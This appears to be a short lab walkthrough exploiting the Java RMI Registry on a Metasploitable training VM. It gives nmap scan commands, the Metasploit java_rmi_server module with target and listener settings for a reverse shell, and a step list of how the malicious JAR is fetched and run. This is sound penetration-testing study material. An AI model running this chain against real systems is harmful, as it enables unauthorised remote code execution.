

Lunching an Attack

Step 1: Finding running services and their version with stealth scan.

```
└─(kali㉿kali)-[~]  
└─$ nmap -sS -sV 192.168.145.131
```

Step 2: Detect Vulnerabilities.

```
└─(kali㉿kali)-[~]  
└─$ nmap --script vuln 192.168.145.131
```

Detected vulnerable RMI Registry.

What is RMI Registry?

RMI Registry is part of Java RMI (Remote Method Invocation)—a technology that allows Java programs on different machines to communicate and call each other's methods remotely, like calling a local function.

Step 3: Check RMI Registry for known vulnerabilities.

```
└─(kali㉿kali)-[~]  
└─$ nmap --script rmi-vuln-classloader -p 1099  
192.168.145.131
```

Runs the rmi-vuln-classloader NSE script.

This script checks if the RMI Registry allows:

- Loading remote Java classes
- Executing untrusted objects
- Remote Code Execution

Step 4: Now we will Exploit this vulnerability.

Step 4.1: Exploit RMI on Metasploitable.

Step 4.1.1: Run this Command.

```
└─(kali㉿kali)-[~]  
└─$ msfconsole
```

msfconsole is the main command-line interface for the Metasploit Framework, which is the most widely-used penetration testing and exploitation platform in the world.

Step 4.1.2: Type this.

use exploit/multi/misc/java_rmi_server

A Metasploit exploit module, which targets a Java RMI Registry service vulnerability, works on multiple platforms, and falls under miscellaneous service exploits.

Step 4.1.3: Set your target (Metasploitable).

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOST  
192.168.145.131
```

```
msf6 exploit(multi/misc/java_rmi_server) > set RPORT 1099
```

Step 4.1.4: Set your Kali IP (for reverse shell).

```
msf6 exploit(multi/misc/java_rmi_server) > set LHOST  
192.168.145.130
```

Step 4.1.5: run the exploit.

```
msf6 exploit(multi/misc/java_rmi_server) > run
```

What happens in background?

1. Metasploit sends the RMI Header, RMI Header includes:
 - a. Magic bytes (0x4A 0x52 0x4D 0x49) → "JRMI"
 - b. Version number
 - c. Protocol identifier
 - d. Message type (call, return, ping)
 - e. Additional flags
2. Metasploit sends an RMI Call, The RMI server receives A malicious serialized Java object contains:
 - a. A reference to an HTTP URL hosted by Metasploit.
3. Metasploit runs a temporary HTTP server.
 - a. Serves a JAR file containing the payload.
4. The victim downloads and executes the malicious JAR.
5. The malicious JAR opens a reverse TCP connection.
6. BOOOOOOOOOOOOM.